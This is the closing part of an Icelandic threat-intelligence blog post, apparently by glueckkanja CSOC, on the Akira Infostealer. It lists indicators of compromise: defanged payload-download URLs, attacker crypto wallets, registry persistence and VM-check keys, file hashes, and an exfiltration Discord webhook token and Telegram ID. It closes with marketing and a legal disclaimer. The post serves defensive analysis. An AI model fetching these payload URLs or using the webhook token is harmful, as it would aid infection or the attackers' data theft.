JS-dropper, aðalleið https[:]//rentry[.]co/7vzd22fg36hfdd33/raw Fjartengd tilvísun á hið eiginlega ZIP-URL
JS-dropper, varaleið 1 https[:]//cosmicdust[.]zip/.well-known/pki-validation/pyth.zip Annað ZIP með payload
JS-dropper, varaleið 2 https[:]//cosmoplanets[.]net/well-known/pki-validation/pyth.zip Þriðja ZIP með payload til vara

2. Heimilisföng kryptógjaldmiðla

Gjaldmiðill Heimilisfang
BTC bc1qnmz2l8lr0yzj9eun48dyds7rlzg6t6hk5vw5zt
ETH 0xa8a2C9e3fbCde807101dBD87aF7b51583f83d1D5
DOGE DACeoqWDPmNARSZAeDZPFwqwecbByaksmd
LTC LLQtaBnSAFpCFUw5cXRRka7Nvtrs4Up9bH
XMR 4AVdkoC16zwcjxF4q9cXdL2D4vGqC9iPAcQ9gmHzQ7JS1fUUff6Za3D6CKm9MsDrhSDRY9hgeca7yKnMGpaD8dq6Bo3mT7D
BCH qrfs8ee558t0a2dlp9v6h4qzns5cd6pltqrrn883xs
DASH XpeiSH1MfQYeehTfxosYHyTHzbgu2LNsG1
TRX TFuYQoosCUqbVjibowMqaa3W3h3RtAVDbK
XRP r36AwwhUH7BRujevi5mukbDrG46KGbTk8V
XLM GAEPMD52PX7FYX65AJJLEFZSH3DZSL3DKM2XRXHVJP4CLJFIBKI25C33

3. Registry-lyklar og slóðir

Registry-slóð Tilgangur
HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\DriverDesc Athugar signature sýndar-GPU-drivera
HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\ProviderName Athugar heiti veitanda sýndar-GPU
HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run (gildið Realtek Audio) Persistence í gegnum Run-lykil (Updater.exe)
%APPDATA%\Microsoft\Internet Explorer\UserData\Updater.exe Keyranleg skrá fyrir persistence

5. Skrár og hash

Skráarheiti SHA256 Stærð (bæti)
app-64.7z 331A4A4D721A1B5B1BB5E9A5C13462D5CDB16248DEFE0F16BE6E1E57C275E380 63936274
main.exe C98F0F5B89C6DAC1482286FAA2E33A84230C26EA38DA4E013665582C9A04213B 162036224
jscrypter.js 0A47985F8B3716058B0DF6C68EC97D0F1F3CB0F7A31562A819C3E766ED4CDCEF 1429
obf.js 1E666F3CF6E3DA6EED973E00E81EC721B33B17D4E981CB506F62F349DC1B3343 30138
input.js E375DE29E23C43627B2894EA01B6B1C7D9B1BD37E7305EEC7185CEE9719924A7 7155
package.json 972C634FD0666BCA12A6B7A50E69C32610321E9EC4D28D65734E55437D345CC6 211
astor.py 850361AF7D6C006900FC638D6ACBD9A6362385BAD0530CFBD52555E6415DB3A4 205210
exodus.asar 6A3B5D5A6BA5925DF39351830D92A2B5E4720803FE9F8040C3E67C12F668F4EB 132486332
pow.bat 10E4A6B54CC0CF4D18DDE8B69E0B305ABE487E07ED990C5BFF82CE30B217B910 28454
download.dat C49E83A5F154F7E54CA0CE9EECEA066A721966786F2850626252DDA0BE0BF79B 21142
pyth.zip E6F6AD49076367A58220E48691A34E33C18F0285FD9C50879A9B83A99F840AD7 32375391
Updater.exe 36C34E39DC7D54C4C97DDEB9B6C7FD429DB26C34D65CCE8BE3523FDFDB7CEBE0 37652937

5. Auðkenni Discord og Telegram

Flokkur Gildi
Discord webhook-auðkenni 1226766972675428372
Discord webhook-token BuBywdldEWncg7fbIpEhCROLpkGLkYirOoP2bP-uzzOatDaxSpaWqaLNerun85qCfwNz
Telegram-auðkenni 5035121855

14. Hugleiðingar um Akira Stealer-atvikið: styrktu vörnina þína með glueckkanja CSOC

Í þessari bloggfærslu höfum við kannað hversu fágað Akira Infostealer er, háþróuð netógn sem einkennist af markvissum þjófnaði á credentials, hljóðlátri exfiltration gagna og þrálátum aðferðum til að komast hjá hefðbundnum vörnum. Að skilja hvernig þetta malware starfar, hvaða áhættu það skapar og hvaða veikleika það nýtir er forsenda þess að byggja upp sterka cybersecurity-stefnu.

Akira Infostealer beinist sérstaklega að viðkvæmum gögnum eins og innskráningar-credentials, browser-setum, kryptóveskjum, skilaboðaþjónustum og skrám einstaklinga eða fyrirtækja. Útreiknaðar og nákvæmar aðferðir þess kalla á meira en venjulegar öryggisráðstafanir, þær kalla á samfellda vöktun, ítarlega forensic-greiningu og fyrirbyggjandi threat intelligence.

Hjá glueckkanja CSOC nýtum við djúpa tæknilega sérþekkingu okkar og háþróaða greiningargetu til að ganga lengra en einföld detection. Sérhæfða teymið okkar vaktar ógnir samfellt í rauntíma frá okkar eigin CSOC-serverum, sem gerir kleift að greina samstundis, rannsaka til hlítar og gera ógnir eins og Akira Infostealer óvirkar með áhrifaríkum hætti.

En vinnan okkar stöðvast ekki við incident response. Hvert atvik sem greinist auðgar þekkingargrunn okkar, styrkir öryggisstöðu okkar og tryggir að við séum áfram nokkrum skrefum framar komandi ógnum. Með glueckkanja CSOC fær þú meira en vörn, þú fær aðlögunarhæfan öryggisaðila sem er staðráðinn í að styðja þol þitt til langs tíma.

Stígðu næsta skref í því að tryggja stafrænar eignir fyrirtækisins þíns.

Hafðu samband við cybersecurity-sérfræðinga glueckkanja í dag, og tryggjum framtíð þína saman með fyrirbyggjandi hætti.

Styrktu vörnina þína með glueckkanja CSOC.

15. Öryggis- og lagalegur fyrirvari – notkun á raunverulegum malware-kóða

Þessi útgáfa inniheldur ítarlega tæknilega innsýn, þar á meðal kóðabrot og hegðunargreiningar sem leiddar eru af raunverulegum illgjörnum hugbúnaði sem fannst við incident response og forensic-rannsóknir. Tilgangurinn með því að deila þessum upplýsingum er eingöngu fræðslulegur, þeim er ætlað að hjálpa fagfólki í vörnum að skilja, greina og bregðast við raunverulegum ógnum með áhrifaríkari hætti. Við gefum þetta út í góðri trú og með það í huga að leggja breiðara öryggissamfélagi lið.

Rétt er að hafa í huga að hlutar kóðans sem hér fylgir koma úr verkfærasettum ógnaraðila og malware-sýnum sem eru í umferð. Þessi brot eru ekki hugverk okkar og þau skal hvorki telja örugg, sótthreinsuð né á annan hátt "harmless". Við ráðum eindregið frá því að endurgera eða nota slíkan kóða í rekstri. Lesendur verða að skilja að þótt þetta efni þjóni rannsóknar- og vitundarhlutverki fylgir því í sjálfu sér áhætta sem ekki skal vanmeta.

Aðeins þjálfað fagfólk sem starfar í umhverfum með lagalegt umboð, svo sem faggilt security-teymi, SOC-einingar, fræðimenn eða malware-tilraunastofur, ætti að fást við þær aðferðir eða þann kóða sem hér er lýst. Allar tilraunir verða að vera bundnar við einangruð kerfi utan rekstrar og fylgja gildandi lögum, innri stefnum og siðferðilegum viðmiðum.

Við bjóðum engan stuðning og enga staðfestingu á neinum endurgerðum kóða eða neinni endurgerðri hegðun. Engin trygging er fyrir réttmæti, mikilvægi eða heilleika. Enn frekar vísum við berum orðum á bug allri notkun þessa efnis í árásarskyni, í óheimilu red teaming, við þróun malware í viðskiptaskyni eða í adversarial testing utan lagalega skilgreinds umfangs. Öll misnotkun getur haft lagalegar afleiðingar. glueckkanja AG afsalar sér allri ábyrgð á beinum eða óbeinum skaða sem hlýst af notkun eða misskilningi á þessu efni.

Með því að halda áfram að lesa eða vitna í þetta efni viðurkennir þú framangreint og samþykkir að misnota ekki, endurgera ekki og beita ekki neinum hluta þess í ólöglegu eða ósiðlegu samhengi. Sértu í vafa skaltu ráðfæra þig við lögfræði-, compliance- eða gagnaverndarsvið þitt áður en þú fæst við greiningu á lifandi kóða eða sambærilegt tæknilegt efni.

Þessi útgáfa er látin í té "as is", án ábyrgðar, stuðnings eða skaðabótaskyldu.

Hafðu samband núna

Sem leiðandi Microsoft Security MSSP verndum við fyrirtæki gegn netógnum hvern dag. Tölum saman og styrkjum netvarnir þínar í sameiningu.

Svipaðar færslur